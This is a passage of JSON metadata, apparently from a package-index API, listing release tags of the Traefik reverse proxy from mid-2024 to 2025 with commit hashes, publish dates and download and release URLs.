raefik/releases/tag/v2.11.24","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.11.24","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.11.24","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.11.24/manifests"},{"name":"v2.11.23","sha":"a75b2384ea68e3b5580b6b543ec21faffb8621ca","kind":"commit","published_at":"2025-04-17T09:56:03.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.11.23","html_url":"https://github.com/traefik/traefik/releases/tag/v2.11.23","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.11.23","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.11.23","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.11.23/manifests"},{"name":"v3.4.0-rc1","sha":"405be420c9f600f2c045b22a8d970dcba5499fb9","kind":"commit","published_at":"2025-03-31T13:42:05.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v3.4.0-rc1","html_url":"https://github.com/traefik/traefik/releases/tag/v3.4.0-rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v3.4.0-rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.4.0-rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.4.0-rc1/manifests"},{"name":"v3.3.5","sha":"bd4ff81818904709e5d6811617cea6b84003ae86","kind":"commit","published_at":"2025-03-31T08:38:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v3.3.5","html_url":"https://github.com/traefik/traefik/releases/tag/v3.3.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v3.3.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.3.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.3.5/manifests"},{"name":"v2.11.22","sha":"b7be71c02a8a03530524ac200cd9e423703bcfef","kind":"commit","published_at":"2025-03-31T07:48:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.11.22","html_url":"https://github.com/traefik/traefik/releases/tag/v2.11.22","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.11.22","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.11.22","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.11.22/manifests"},{"name":"v3.3.4","sha":"07e6491ace82b55be7f6881d11737821a41501d5","kind":"commit","published_at":"2025-02-25T10:04:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v3.3.4","html_url":"https://github.com/traefik/traefik/releases/tag/v3.3.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v3.3.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.3.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.3.4/manifests"},{"name":"v2.11.21","sha":"a3fd48472841e5818400549da3cd813d3bed16d6","kind":"commit","published_at":"2025-02-24T14:32:06.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.11.21","html_url":"https://github.com/traefik/traefik/releases/tag/v2.11.21","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.11.21","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.11.21","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.11.21/manifests"},{"name":"v3.3.3","sha":"da2278b29a7dac7b7dac49a9a846af30a15c81a3","kind":"commit","published_at":"2025-01-31T14:46:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v3.3.3","html_url":"https://github.com/traefik/traefik/releases/tag/v3.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v3.3.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.3.3/manifests"},{"name":"v2.11.20","sha":"4e441d09edd3a4b75051c307e07de47943ba1fd1","kind":"commit","published_at":"2025-01-31T14:16:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.11.20","html_url":"https://github.com/traefik/traefik/releases/tag/v2.11.20","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.11.20","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.11.20","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.11.20/manifests"},{"name":"v2.11.19","sha":"81039929779f030a4c3edf422aa580d94f88b557","kind":"commit","published_at":"2025-01-29T10:36:08.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.11.19","html_url":"https://github.com/traefik/traefik/releases/tag/v2.11.19","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.11.19","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.11.19","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.11.19/manifests"},{"name":"v3.3.2","sha":"020ab5f34703ea523895ab004825dbfa6f7de060","kind":"commit","published_at":"2025-01-14T15:46:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v3.3.2","html_url":"https://github.com/traefik/traefik/releases/tag/v3.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v3.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.3.2/manifests"},{"name":"v2.11.18","sha":"1aa450c028894ef5911175bbe7698836a460f182","kind":"commit","published_at":"2025-01-07T15:24:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.11.18","html_url":"https://github.com/traefik/traefik/releases/tag/v2.11.18","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.11.18","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.11.18","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.11.18/manifests"},{"name":"v3.3.1","sha":"d4d61151e1476be37b02089b8e1b5d55546d2f19","kind":"commit","published_at":"2025-01-07T14:46:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v3.3.1","html_url":"https://github.com/traefik/traefik/releases/tag/v3.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v3.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.3.1/manifests"},{"name":"v3.2.5","sha":"03c170f2642ee690ad9d41c2a5889b4834d4652c","kind":"commit","published_at":"2025-01-07T14:10:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v3.2.5","html_url":"https://github.com/traefik/traefik/releases/tag/v3.2.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v3.2.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.2.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.2.5/manifests"},{"name":"v3.3.0","sha":"5b53bae42d2dab453b8f932db760b874f99ee984","kind":"commit","published_at":"2025-01-06T11:04:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v3.3.0","html_url":"https://github.com/traefik/traefik/releases/tag/v3.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v3.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.3.0/manifests"},{"name":"v3.2.4","sha":"69c8ecfa99389dd772eb152a2e2926bc928dbc39","kind":"commit","published_at":"2025-01-06T10:04:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v3.2.4","html_url":"https://github.com/traefik/traefik/releases/tag/v3.2.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v3.2.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.2.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.2.4/manifests"},{"name":"v2.11.17","sha":"a31b0263647d56b3dba97e59e14d27af9edf5f26","kind":"commit","published_at":"2025-01-06T09:00:07.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.11.17","html_url":"https://github.com/traefik/traefik/releases/tag/v2.11.17","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.11.17","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.11.17","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.11.17/manifests"},{"name":"v3.3.0-rc2","sha":"d9f58f94a23abc2e8eacc668a280cf5e971335a0","kind":"commit","published_at":"2024-12-20T10:52:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v3.3.0-rc2","html_url":"https://github.com/traefik/traefik/releases/tag/v3.3.0-rc2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v3.3.0-rc2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.3.0-rc2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.3.0-rc2/manifests"},{"name":"v3.3.0-rc1","sha":"68a8650297733f7d601d455b40ccf43b8f689b6d","kind":"commit","published_at":"2024-12-16T14:30:05.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v3.3.0-rc1","html_url":"https://github.com/traefik/traefik/releases/tag/v3.3.0-rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v3.3.0-rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.3.0-rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.3.0-rc1/manifests"},{"name":"v3.2.3","sha":"8983e45fcf16ca28dd6e326191f2550f0460644d","kind":"commit","published_at":"2024-12-16T10:20:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v3.2.3","html_url":"https://github.com/traefik/traefik/releases/tag/v3.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v3.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.2.3/manifests"},{"name":"v2.11.16","sha":"1c0094048b2dc3f806b6397928771d66e366aa1e","kind":"commit","published_at":"2024-12-16T09:48:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.11.16","html_url":"https://github.com/traefik/traefik/releases/tag/v2.11.16","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.11.16","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.11.16","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.11.16/manifests"},{"name":"v3.2.2","sha":"8eb12795d709d1906b4ae25d0d757f184636d65f","kind":"commit","published_at":"2024-12-10T14:04:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v3.2.2","html_url":"https://github.com/traefik/traefik/releases/tag/v3.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v3.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.2.2/manifests"},{"name":"v2.11.15","sha":"cc14c165c0af83078abe4edf0a06c52bcf05a40f","kind":"commit","published_at":"2024-12-10T13:18:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.11.15","html_url":"https://github.com/traefik/traefik/releases/tag/v2.11.15","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.11.15","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.11.15","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.11.15/manifests"},{"name":"v3.2.1","sha":"5cfc11fe68f0371f2374bf07f0812b9b537e64c1","kind":"commit","published_at":"2024-11-20T16:28:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v3.2.1","html_url":"https://github.com/traefik/traefik/releases/tag/v3.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v3.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.2.1/manifests"},{"name":"v2.11.14","sha":"8eadfbb9906ddf06d150f1d2f77f278514ed8fff","kind":"commit","published_at":"2024-11-20T14:26:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.11.14","html_url":"https://github.com/traefik/traefik/releases/tag/v2.11.14","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.11.14","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.11.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.11.14/manifests"},{"name":"v3.2.0","sha":"25caa72c0972fcb829276ebf5a41ef0263fa4a6f","kind":"commit","published_at":"2024-10-28T14:46:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v3.2.0","html_url":"https://github.com/traefik/traefik/releases/tag/v3.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v3.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.2.0/manifests"},{"name":"v3.1.7","sha":"e90f4a7cb4e2a457ce72b292c2ce383ae71661eb","kind":"commit","published_at":"2024-10-28T10:34:03.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v3.1.7","html_url":"https://github.com/traefik/traefik/releases/tag/v3.1.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v3.1.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.1.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.1.7/manifests"},{"name":"v2.11.13","sha":"08fe27ce5f5cf242cd72670b2ecea329412a0ead","kind":"commit","published_at":"2024-10-28T09:22:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.11.13","html_url":"https://github.com/traefik/traefik/releases/tag/v2.11.13","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.11.13","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.11.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.11.13/manifests"},{"name":"v3.2.0-rc2","sha":"b46665c620b9f3b5e3873b224c40b0c6963445fb","kind":"commit","published_at":"2024-10-09T15:16:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v3.2.0-rc2","html_url":"https://github.com/traefik/traefik/releases/tag/v3.2.0-rc2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v3.2.0-rc2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.2.0-rc2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.2.0-rc2/manifests"},{"name":"v3.1.6","sha":"4613ddd757acf09f0d47fa8ce82bea670ede82de","kind":"commit","published_at":"2024-10-09T13:54:05.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v3.1.6","html_url":"https://github.com/traefik/traefik/releases/tag/v3.1.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v3.1.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.1.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.1.6/manifests"},{"name":"v2.11.12","sha":"934ca5fd22fd35e5ef11fb6a8836d1d0edda4ab0","kind":"commit","published_at":"2024-10-09T12:32:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.11.12","html_url":"https://github.com/traefik/traefik/releases/tag/v2.11.12","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.11.12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.11.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.11.12/manifests"},{"name":"v3.2.0-rc1","sha":"a7502c8700e111963b2b52fb0d25c0128fb0c05a","kind":"commit","published_at":"2024-10-02T14:24:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v3.2.0-rc1","html_url":"https://github.com/traefik/traefik/releases/tag/v3.2.0-rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v3.2.0-rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.2.0-rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.2.0-rc1/manifests"},{"name":"v3.1.5","sha":"a2ab3e534dfa9775e0809e0c5d754f48979925fd","kind":"commit","published_at":"2024-10-02T12:42:05.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v3.1.5","html_url":"https://github.com/traefik/traefik/releases/tag/v3.1.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v3.1.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.1.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.1.5/manifests"},{"name":"v2.11.11","sha":"518caa79f96c8b581e8d4ef21b57499e213a155b","kind":"commit","published_at":"2024-10-02T09:10:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.11.11","html_url":"https://github.com/traefik/traefik/releases/tag/v2.11.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.11.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.11.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.11.11/manifests"},{"name":"v3.1.4","sha":"0be01cc067a3089fd9b108dc84e146d223962882","kind":"commit","published_at":"2024-09-19T13:44:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v3.1.4","html_url":"https://github.com/traefik/traefik/releases/tag/v3.1.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v3.1.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.1.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.1.4/manifests"},{"name":"v2.11.10","sha":"b00f640d7262a63766c69d1942470aa035de362c","kind":"commit","published_at":"2024-09-19T10:08:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.11.10","html_url":"https://github.com/traefik/traefik/releases/tag/v2.11.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.11.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.11.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.11.10/manifests"},{"name":"v3.1.3","sha":"89f3b272c3d4ed3f075f92f8acca494cdba4f708","kind":"commit","published_at":"2024-09-16T15:06:03.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v3.1.3","html_url":"https://github.com/traefik/traefik/releases/tag/v3.1.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v3.1.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.1.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.1.3/manifests"},{"name":"v2.11.9","sha":"06d7fab820dc1e486fe59371aeb359c965767ded","kind":"commit","published_at":"2024-09-16T13:26:12.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.11.9","html_url":"https://github.com/traefik/traefik/releases/tag/v2.11.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.11.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.11.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.11.9/manifests"},{"name":"v3.1.2","sha":"4c4780f88692fa38c6a0a6da814f0449704075f0","kind":"commit","published_at":"2024-08-06T13:34:03.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v3.1.2","html_url":"https://github.com/traefik/traefik/releases/tag/v3.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v3.1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.1.2/manifests"},{"name":"v2.11.8","sha":"6b1adabeb593446351b94966f6673058ab58564f","kind":"commit","published_at":"2024-08-06T12:50:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.11.8","html_url":"https://github.com/traefik/traefik/releases/tag/v2.11.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.11.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.11.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.11.8/manifests"},{"name":"v3.1.1","sha":"f52a36ba120d18e5748be59efce13fef439d03ce","kind":"commit","published_at":"2024-07-30T13:52:03.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v3.1.1","html_url":"https://github.com/traefik/traefik/releases/tag/v3.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v3.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.1.1/manifests"},{"name":"v2.11.7","sha":"210400905fab19623fd7d032c87f3903c1bed579","kind":"commit","published_at":"2024-07-30T12:14:03.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.11.7","html_url":"https://github.com/traefik/traefik/releases/tag/v2.11.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.11.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.11.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.11.7/manifests"},{"name":"v3.1.0","sha":"4b4eaa49b5c93460cac089ed6d87e1c68c29d8d1","kind":"commit","published_at":"2024-07-15T14:38:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v3.1.0","html_url":"https://github.com/traefik/traefik/releases/tag/v3.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v3.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.1.0/manifests"},{"name":"v3.1.0-rc3","sha":"876899be4bb347b00a2f697e776bc844f1afbcb3","kind":"commit","published_at":"2024-07-02T15:18:03.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v3.1.0-rc3","html_url":"https://github.com/traefik/traefik/releases/tag/v3.1.0-rc3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v3.1.0-rc3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.1.0-rc3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.1.0-rc3/manifests"},{"name":"v3.0.4","sha":"d42e75bb2eabbe684809929ce96abfe09d4e50fb","kind":"commit","published_at":"2024-07-02T13:42:03.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v3.0.4","html_url":"https://github.com/traefik/traefik/releases/tag/v3.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v3.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.0.4/manifests"},{"name":"v2.11.6","sha":"927f0bc01a787ecfea254c52e56ea084acc8304a","kind":"commit","published_at":"2024-07-02T12:22:03.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.11.6","html_url":"https://github.com/traefik/traefik/releases/tag/v2.11.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.11.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.11.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.11.6/manifests"},{"name":"v3.1.0-rc2","sha":"9758b1ce3691773303ac3774439a7f9f63ab4410","kind":"commit","published_at":"2024-06-28T08:42:03.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v3.1.0-rc2","html_url":"https://github.com/traefik/traefik/releases/tag/v3.1.0-rc2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v3.1.0-rc2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.1.0-rc2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.1.0-rc2/manifests"},{"name":"v3.1.0-rc1","sha":"b1b4e6b918e8eeaf9e24823baf24dbc77f7d373e","kind":"commit","published_at":"2024-06-27T14:28:03.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v3.1.0-rc1","html_url":